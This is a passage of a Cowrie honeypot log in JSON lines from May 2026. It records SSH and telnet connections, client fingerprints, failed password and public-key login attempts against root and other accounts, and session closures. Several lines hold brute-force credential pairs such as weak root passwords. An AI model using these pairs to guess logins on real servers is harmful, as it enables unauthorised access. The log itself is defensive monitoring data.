-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:25.395520Z","src_ip":"122.51.73.24","session":"ffd6b04aed5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sollet","message":"login attempt [sol/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:25.419804Z","src_ip":"193.32.162.145","session":"df510785a4d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123123","message":"login attempt [root/Qwe123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:26.389941Z","src_ip":"122.51.73.24","session":"ffd6b04aed5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:26.523784Z","src_ip":"193.32.162.145","session":"df510785a4d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.215.188.137","src_port":45824,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c12fdb5cbe5","protocol":"ssh","message":"New connection: 91.215.188.137:45824 (10.17.0.5:22) [session: 5c12fdb5cbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:26.551202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:26.555359Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:26.686065Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46676,"dst_ip":"10.17.0.5","dst_port":23,"session":"57592da45a9a","protocol":"telnet","message":"New connection: 192.119.13.58:46676 (10.17.0.5:23) [session: 57592da45a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:26.995500Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:52:fc:3f:38:86:4c:2b:6d:28:bb:41:f1:b4:f5:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCDoSz+d0/cKPCS+1IvDSWRJC7A9qGq14AcMiSka2MJ1mCj0RBOFCJZjLBWiAt6cQMdzXgjgYBkT90Gnhc5tDrxAnxRFe1lhKo4zpzz65M/pT3cEcZB6YkPhQz11mqoTLnervI8Q2fofvOxnjXLfLO9PDwOaP/UFFhVvmHwbHeM30x+O8kAXgtTGq1FrC/Z6CL/EYd6Ri0H2baX/9TWY/Fp2UHZEnO+REttGhJrn0nJsdswgiJ9r0pLuoTlx9Y/lbxlaUlC28UiTxUkyAF8n28kwAmd90rdFzaSR2v4zhDSMrsTzWkyHnBBYYdjzYcQqPvgWyJ2syDYP/uu7qJXWYR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:52:fc:3f:38:86:4c:2b:6d:28:bb:41:f1:b4:f5:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.308637Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:52:fc:3f:38:86:4c:2b:6d:28:bb:41:f1:b4:f5:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCDoSz+d0/cKPCS+1IvDSWRJC7A9qGq14AcMiSka2MJ1mCj0RBOFCJZjLBWiAt6cQMdzXgjgYBkT90Gnhc5tDrxAnxRFe1lhKo4zpzz65M/pT3cEcZB6YkPhQz11mqoTLnervI8Q2fofvOxnjXLfLO9PDwOaP/UFFhVvmHwbHeM30x+O8kAXgtTGq1FrC/Z6CL/EYd6Ri0H2baX/9TWY/Fp2UHZEnO+REttGhJrn0nJsdswgiJ9r0pLuoTlx9Y/lbxlaUlC28UiTxUkyAF8n28kwAmd90rdFzaSR2v4zhDSMrsTzWkyHnBBYYdjzYcQqPvgWyJ2syDYP/uu7qJXWYR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.312795Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:f6:44:1a:18:c6:cb:dc:bc:d2:99:e9:63:71:04:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoQ0p81YVeuydHg06vKV2vPNOFCym2wZN8KRmnzi7C5IhZxdhoNTaIPIBihuCrODEnoIeRYIuyHCFwsnB0v9v42chw1+HHchZ9f453A1vLGsHdGNO8wSKUoOuM3KjdanDotNLm4rxYNbzhkz4qaNBF3cMRE6ZK5NeAFn05tUBHVDuunESxapPMZip2JifbxLTbpTAH4fODFb4IEMWKGYjJlIGKy/c6SW3g4mnkuujru3fYkieZVwmObl+6NV+UjuExMOUn8EzJ8u2Xplff683UaQQYW43J9D4HzdqzImzz2UxefGc0Sy72oRJ5klUFrg+6Ak9UBrzvqRNaYg4SPmx7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:f6:44:1a:18:c6:cb:dc:bc:d2:99:e9:63:71:04:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.445266Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:f6:44:1a:18:c6:cb:dc:bc:d2:99:e9:63:71:04:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoQ0p81YVeuydHg06vKV2vPNOFCym2wZN8KRmnzi7C5IhZxdhoNTaIPIBihuCrODEnoIeRYIuyHCFwsnB0v9v42chw1+HHchZ9f453A1vLGsHdGNO8wSKUoOuM3KjdanDotNLm4rxYNbzhkz4qaNBF3cMRE6ZK5NeAFn05tUBHVDuunESxapPMZip2JifbxLTbpTAH4fODFb4IEMWKGYjJlIGKy/c6SW3g4mnkuujru3fYkieZVwmObl+6NV+UjuExMOUn8EzJ8u2Xplff683UaQQYW43J9D4HzdqzImzz2UxefGc0Sy72oRJ5klUFrg+6Ak9UBrzvqRNaYg4SPmx7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.449308Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:02:0d:d2:d5:30:58:64:86:86:6d:b4:b3:ca:20:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0+y4UPqtvwgD9JsaXf96nvsDtjNT4cl/YLg85os5oWO9dkiYCMQwkWFf7Vl/2OruVvJ1aSF6dk47qS/OUuX01auANxAgkSnZsIlZzIwrBK/JO1HYivngm3gDocPaYyGMit84p53qQWOc/8NkG6GQhBMAvTXLK3EFncd+ntea2zQBb9AetXs2wvpWYRp/aldWaJKH0WdwvglcbS/VIfT/CodUO9PPl144WCE62fXUvUB6WRirxzZKMlQzhhwm2294IT8lkoZI59zRQQSqeFCaWqeB083tfY+xA6xeZTkyuFU+UehQrZ+1CH9gtr2VkGDNZvyYjm9LHJoehWoG7GdnZYk8WIMvmTRANmv3ANqy0UQUmV8CqSmNpEMMlBVZE7hy8ClEyu0QlrFsZ8ax9F/cgnnhK4JtAf5ANH5X/GwE95dURgicsaYyX9FJVug81cCLIi4c1mYK2Qv0C1oN70sXPD/fwB/1qUGaq1mK2wuHJC9b9QlHKndYnIuUfI2tEjQ7ENbOHgLmH4lKSF7NH26AobMSkGCh8kGlYDahGk2w+0oIobgKPIEnyMpZHZaQ4vJaHCooDpEJYi3XZadDKlX9RSgxu4gJZ/KrglwVbUu5Vmxxgx0TOdou/GIITaXToe9qulB4iuHx1z/3lih5faC/FWAiIyGgoNHyFt7D9Mx8R7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:02:0d:d2:d5:30:58:64:86:86:6d:b4:b3:ca:20:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.579191Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:02:0d:d2:d5:30:58:64:86:86:6d:b4:b3:ca:20:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0+y4UPqtvwgD9JsaXf96nvsDtjNT4cl/YLg85os5oWO9dkiYCMQwkWFf7Vl/2OruVvJ1aSF6dk47qS/OUuX01auANxAgkSnZsIlZzIwrBK/JO1HYivngm3gDocPaYyGMit84p53qQWOc/8NkG6GQhBMAvTXLK3EFncd+ntea2zQBb9AetXs2wvpWYRp/aldWaJKH0WdwvglcbS/VIfT/CodUO9PPl144WCE62fXUvUB6WRirxzZKMlQzhhwm2294IT8lkoZI59zRQQSqeFCaWqeB083tfY+xA6xeZTkyuFU+UehQrZ+1CH9gtr2VkGDNZvyYjm9LHJoehWoG7GdnZYk8WIMvmTRANmv3ANqy0UQUmV8CqSmNpEMMlBVZE7hy8ClEyu0QlrFsZ8ax9F/cgnnhK4JtAf5ANH5X/GwE95dURgicsaYyX9FJVug81cCLIi4c1mYK2Qv0C1oN70sXPD/fwB/1qUGaq1mK2wuHJC9b9QlHKndYnIuUfI2tEjQ7ENbOHgLmH4lKSF7NH26AobMSkGCh8kGlYDahGk2w+0oIobgKPIEnyMpZHZaQ4vJaHCooDpEJYi3XZadDKlX9RSgxu4gJZ/KrglwVbUu5Vmxxgx0TOdou/GIITaXToe9qulB4iuHx1z/3lih5faC/FWAiIyGgoNHyFt7D9Mx8R7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.583323Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:33:87:76:cc:42:c3:9e:1e:85:34:5e:1b:2e:bd:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKCp30KPm3hnSKsEFs+9SGhZhtDfZr4V/GezqvRlgmnF","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c1:33:87:76:cc:42:c3:9e:1e:85:34:5e:1b:2e:bd:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.713001Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:33:87:76:cc:42:c3:9e:1e:85:34:5e:1b:2e:bd:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKCp30KPm3hnSKsEFs+9SGhZhtDfZr4V/GezqvRlgmnF","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.716623Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:cd:be:6b:4b:c2:35:0d:7f:01:27:93:50:39:88:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6mTbfyBUm8PyDwkKqjd2uXgasfPBYHoND7aNn06A6buvgiwrZc1UrgKt7RmiEyIXTn0b6OpU7F55TXIgSba32eVzlNx3FkfZpCRTKJWJTqWgIfLLX/r6OP4itBjYraMtq1xuQx8JclXMTl7DPOu9+bGIh/HEMc7h0FZOKHiugm/rmwWW+44ymorDPOZYrrtKI5xwiTDeFQo6W90FUmeeBhVMo0UFfU6h9r5Lamb4ITYNYXUHyScKMRZWsP0EpsoNApuI6/svTwdR6US8ePRDPQwSD4od5llqmvZvMtB9XNonuVULWaqi39Y7KQr0XWlEmUhHlOD0xEtMesDW2TWPX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:cd:be:6b:4b:c2:35:0d:7f:01:27:93:50:39:88:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.845730Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:cd:be:6b:4b:c2:35:0d:7f:01:27:93:50:39:88:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6mTbfyBUm8PyDwkKqjd2uXgasfPBYHoND7aNn06A6buvgiwrZc1UrgKt7RmiEyIXTn0b6OpU7F55TXIgSba32eVzlNx3FkfZpCRTKJWJTqWgIfLLX/r6OP4itBjYraMtq1xuQx8JclXMTl7DPOu9+bGIh/HEMc7h0FZOKHiugm/rmwWW+44ymorDPOZYrrtKI5xwiTDeFQo6W90FUmeeBhVMo0UFfU6h9r5Lamb4ITYNYXUHyScKMRZWsP0EpsoNApuI6/svTwdR6US8ePRDPQwSD4od5llqmvZvMtB9XNonuVULWaqi39Y7KQr0XWlEmUhHlOD0xEtMesDW2TWPX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.849802Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:27.979045Z","src_ip":"91.215.188.137","session":"5c12fdb5cbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:28.173041Z","src_ip":"122.51.73.24","session":"ffd6b04aed5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.337942600250244,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:30.721030Z","src_ip":"192.119.13.58","session":"4ef3371f721f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.78870916366577,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:32.442871Z","src_ip":"192.119.13.58","session":"61b31f89a816","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.18102812767029,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:38.415075Z","src_ip":"192.119.13.58","session":"ba7909fe2095","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59506,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d80a2d9a4c9","protocol":"telnet","message":"New connection: 192.119.13.58:59506 (10.17.0.5:23) [session: 7d80a2d9a4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:42.240470Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34918,"dst_ip":"10.17.0.5","dst_port":23,"session":"575bb9494050","protocol":"telnet","message":"New connection: 192.119.13.58:34918 (10.17.0.5:23) [session: 575bb9494050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:43.301748Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":43490,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ae5e21e4c67","protocol":"ssh","message":"New connection: 175.118.127.138:43490 (10.17.0.5:22) [session: 3ae5e21e4c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:44.033774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:44.038527Z","src_ip":"175.118.127.138","session":"3ae5e21e4c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38292,"dst_ip":"10.17.0.5","dst_port":23,"session":"160cbcd78eaa","protocol":"telnet","message":"New connection: 192.119.13.58:38292 (10.17.0.5:23) [session: 160cbcd78eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:44.111736Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:44.218516Z","src_ip":"175.118.127.138","session":"3ae5e21e4c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.853196144104004,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:44.496326Z","src_ip":"192.119.13.58","session":"81a39f63e89b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r4!","message":"login attempt [root/Q1w2e3r4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:44.971503Z","src_ip":"175.118.127.138","session":"3ae5e21e4c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47064,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3704f69100d","protocol":"telnet","message":"New connection: 192.119.13.58:47064 (10.17.0.5:23) [session: f3704f69100d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:45.957205Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:46.155266Z","src_ip":"175.118.127.138","session":"3ae5e21e4c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36848,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d0f89e2955","protocol":"telnet","message":"New connection: 192.119.13.58:36848 (10.17.0.5:23) [session: 13d0f89e2955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:50.236030Z"}
{"eventid":"cowrie.session.closed","duration":31.087172508239746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:50.630888Z","src_ip":"192.119.13.58","session":"4f083d36f8d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.179391860961914,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:52.776935Z","src_ip":"192.119.13.58","session":"636fbcc87037","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.90330386161804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:55.652216Z","src_ip":"192.119.13.58","session":"90570b1baeac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37326,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf35fada0923","protocol":"telnet","message":"New connection: 192.119.13.58:37326 (10.17.0.5:23) [session: bf35fada0923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:57.212927Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37490,"dst_ip":"10.17.0.5","dst_port":23,"session":"694ffe566e7b","protocol":"telnet","message":"New connection: 192.119.13.58:37490 (10.17.0.5:23) [session: 694ffe566e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:57.266056Z"}
{"eventid":"cowrie.session.closed","duration":44.773953676223755,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:58.617805Z","src_ip":"192.119.13.58","session":"5e26dbc48015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.02523708343506,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:59.176830Z","src_ip":"192.119.13.58","session":"cb6bffa5536b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45964,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c4f222c7aae","protocol":"telnet","message":"New connection: 192.119.13.58:45964 (10.17.0.5:23) [session: 6c4f222c7aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:59.648604Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52934,"dst_ip":"10.17.0.5","dst_port":23,"session":"e46e6f4852e7","protocol":"telnet","message":"New connection: 192.119.13.58:52934 (10.17.0.5:23) [session: e46e6f4852e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:01.342252Z"}
{"eventid":"cowrie.session.closed","duration":43.287102699279785,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:07.196243Z","src_ip":"192.119.13.58","session":"c97cc743588d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.11482000350952,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:09.110191Z","src_ip":"192.119.13.58","session":"57592da45a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49240,"dst_ip":"10.17.0.5","dst_port":23,"session":"52fdf02a51e6","protocol":"telnet","message":"New connection: 192.119.13.58:49240 (10.17.0.5:23) [session: 52fdf02a51e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:13.299250Z"}
